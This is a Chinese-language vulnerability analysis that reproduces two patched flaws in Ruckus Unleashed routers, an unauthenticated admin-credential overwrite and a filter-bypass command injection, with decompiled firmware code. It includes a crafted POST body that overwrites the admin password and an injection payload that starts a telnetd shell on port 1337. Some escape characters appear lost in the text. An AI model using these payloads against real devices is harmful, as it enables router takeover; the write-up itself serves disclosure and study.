Ruckus公司面向全球移动运营商、宽带服务提供商和企业用户,销售、制造各种室内和室外型“智能Wi-Fi”产品。本文是针对于今年Ruckus品牌路由器的两个漏洞进行分析复现。
ruckus unleased 设备在今年的5月份修复了一个认证覆盖漏洞,利用该漏洞可以通过未授权的方式将设备 Admin 用户的登录凭证进行覆盖,从而达到接管 Admin 用户的效果。漏洞公告见参考链接一。
https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610
使用 binwalk 将固件进行解压,漏洞发生在 /web/admin/_wla_conf.jsp
脚本文件中,查看脚本文件的内容,其中WithoutLoginAccessCheck
作为回调函数进行执行,函数的参数为session["cid"]
和'true'
。
<%
Delegate("WithoutLoginAccessCheck", session["cid"],'true');
Delegate("AjaxConf", session["cid"]);
%>
该函数触发的地方在 /bin/emfd
可执行文件中,在 ghidra 中搜索函数,找到WithoutLoginAccessCheck
函数,函数部分代码如下:
...
if(!strcasecmp(ajax_action,"setconf"))
{
admin_child = xGetChild(v36,"admin");
if( admin_child !=0)
{
v37 = sub_60890(admin_child);
}
...
首先判断前端 http 数据包中传入的 post data 中的 action 属性的值是否为 setconf,再使用 xGetChild
函数获取 admin 子标签,接着调用sub_60890
函数。
因此根据设备的数据包格式,这里需要构造的 post data 为:
<ajax-requestaction="setconf">
<admin/>
<ajax-request/>
跟进sub_60890
函数,这里主要判断 admin 子标签的属性数量是否为 8,且这 8 个属性名是否为 v41 变量到 v49 的值。
...
v41 = admin_element;
v42 ="username";
v43 ="fallback-local";
v44 ="authsvr-id";
v45 ="auth-by";
v46 ="x-password";
v47 ="IS_PARTIAL";
v48 ="reset";
v49 ="auth-token";
attrnum = xGetAttrNum(a1);
...
if(attrnum !=8){
return-1;
}
v2 = xAttrExists(v41, v42);
if(!v2){
return-1;
}
...
此时的 post data:
<ajax-requestaction="setconf">
<adminusername='admin'x-password='xxxxxx'auth-token=''reset=trueIS_PARTIAL=''auth-by='local'authsvr-id='0'fallback-local='true'/>
<ajax-request/>
接着回到/admin/_wla_conf.jsp
脚本文件中,第三行中同样以回调的方式执行了AjaxConf
函数,该函数位于/usr/lib/libemf.so
动态链接库程序中。
同样在 ghidra 中找到函数的位置,部分代码如下:
int adapter_setConf(char*attr_comp,undefined4 xmlstr){
...
iVar3 = adapter_validateConf(xmlstr);
if(iVar3 ==0x0){
iVar4 = strcmp(attr_comp,"system");
if(iVar4 ==0x0){
...
}
}
uVar6 = repoGetCurrent(attr_comp);
...
}
这里重新判断了 post data 中 ajax-request
标签中 comp 属性的值,如果这里不为 system 的话,不会进入 if 判断,转而去执行repoGetCurrent
函数中,参数为 comp 属性的值。跟进函数:
undefined4 repoGetCurrent(undefined4 uParm1)
{
undefined4 uVar1;
uVar1 = repoGetCurChild(uParm1,0x0,0x1);
return uVar1;
}
继续跟进 repoGetCurChild
函数,第一个参数还是 comp 属性的值,使用psprintf
函数格式化到 p_Var1 变量表示的栈上的内存空间之后,继续执行_repoGetCache
函数。
int repoGetCurChild(char*pcParm1,char*pcParm2,bool bParm3){
...
pcVar2 =(char*)psprintf(p_Var1,"%s/airespider/%s.xml",PTR_DAT_000a39cc,pcParm1);
local_c = _repoGetCache("Current",p_Var1,pcParm1,pcVar2,pcParm2,bParm3,false);
...
}
继续跟进函数,函数中又调用了 FUN_00054aec
函数,其中调用了_shash_insert
函数,将 post data 中整个 admin 标签插入到psprintf
函数格式化的字符串表示文件中。
因为在 adapter_setConf 函数的 if 分支中,需要进行登录认证,而在 if 分支之外调用repoGetCurrent
函数不需要进行认证,当 comp 属性的值为/system
时,就可以绕过 strcmp 函数的判断,不会进入到 if 分支。同时拼接的字符串文件名为:/etc/airespider-default//system.xml
。而 system.xml 存放的正是 admin 用户的登录凭证:
此时就可以达到未认证效果对 admin 用户的登录凭证进行覆盖,从而达到未授权访问的效果。
新版本的 ruckus unleased 中,直接将 /admin/_wla_conf.jsp
脚本文件进行了删除。
关于 ruckus unleased 后台命令注入漏洞复现。该漏洞是由一个历史的命令注入漏洞过滤不严格造成的新漏洞。关于该历史漏洞的详情可以查看参考链接一。
https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610
将固件进行解压之后,进入 /web 目录,漏洞发生在 /web/admin/_cmdstat.jsp
脚本文件中,因为该漏洞是认证后的漏洞,所以脚本代码中 if 判断的 check 会通过,进而会去执行AjaxCmdStat
回调函数。
<%
Delegate("SessionCheck", session["cid"],'true');
var httpReq = request["headers"];
Delegate("CsrfTokenCheck", session["cid"], httpReq.HTTP_X_CSRF_TOKEN);
if(session["csrfAccepted"]=='true'){
Delegate("AjaxCmdStat", session["cid"]);
}
%>
同样在 /bin/emfd
可执行文件中找到AjaxCmdStat
函数的位置,该函数直接调用了AjaxCmdStat_impl
函数:
voidAjaxCmdStat(undefined4 uParm1,undefined4 uParm2)
{
AjaxCmdStat_impl(uParm1,uParm2,0x0,0x0,0x0);
return;
}
跟进函数,在AjaxCmdStat_impl
函数的末尾,会接着调用adapter_doCommand
函数,adapter_doCommand
函数继续调用doCommand
函数,该函数主要用来处理 post data 的 xcmd 子标签,判断 xcmd 子标签中 cmd 属性的值:
int __fastcall doCommand(int a1){
...
v1 = xGetAttrString(a1,"cmd",0);
s1 = v1;
if(!strcmp(s1,"get-features"))
return sub_BC9DC(0);
v17 = strcmp(s1,"get-feature-maxap");
if(!v17 )
return sub_BC904(v17, v18, v19);
v17 = strcmp(s1,"get-feature-value");
if(!v17 )
return sub_BC904(v17, v18, v19);
if(!strcmp(s1,"get-urlfiltering-maxap"))
return sub_BBE94(0, v20, v21);
if(!strcmp(s1,"get-maxclient"))
return sub_BB64C(0, v22, v23);
...
if(!strcmp(s1,"import-avpport"))
return sub_C1E08(v211);
...
}
如果这里的 cmd 属性为 import-avpport
时会调用sub_C1E08
函数,跟进:
int __fastcall sub_C1E08(int xcmd){
...
v1 = xGetAttrString(xcmd,"uploadFile",&unk_23380C);
filename = v1;
v10 = is_validate_input_string(filename);
if(!v10){
return-1;
}
...
memset(&s,0,0x100u);
snprintf(&s,0x100u,"cp %s /etc/airespider/", filename);
system(&s);
...
}
此处 xcmd 变量为 xcmd 的标签,从标签中获取到 uploadFile
属性的值之后,会经过is_validate_input_string
函数对关键字符进行过滤,然后作为参数传入snprintf
函数,之后继续执行 system 函数。这里is_validate_input_string
函数位于usr/lib/libemf.so
动态链接库程序中,其代码如下:
undefined4 is_validate_input_string(char*pcParm1)
{
size_tsVar1;
char*pcVar2;
int local_c;
if(pcParm1 != ){
sVar1 = strlen(pcParm1);
local_c =0x0;
while(local_c <(int)sVar1){
pcVar2 = strchr("$;&|<>'"`\ ",(uint)(byte)pcParm1[local_c]);
if(pcVar2 != ){
return0xffffffff;
}
local_c = local_c +0x1;
}
}
return0x0;
}
可以看到这里过滤的字符串为:
$;&|<>'"`\
但是这里依然可以进行绕过,绕过的方法为:将分隔符设置成 #!/bin/shn
,空格替换成 t 即可,因此 payload 如下:
#!/bin/shntelnetdt-l/bin/sht-p1337
绕过之后在 system 函数处即为一个典型的命令注入漏洞。
更新后的固件代码中对关键的字符,如t、n等进行了更严格的过滤。
https://support.ruckuswireless.com/security_bulletins/304
https://www.youtube.com/watch?v=Yt3mJlnODHU
https://alephsecurity.com/2020/01/14/ruckus-wireless/
https://www.youtube.com/watch?v=Yt3mJlnODHU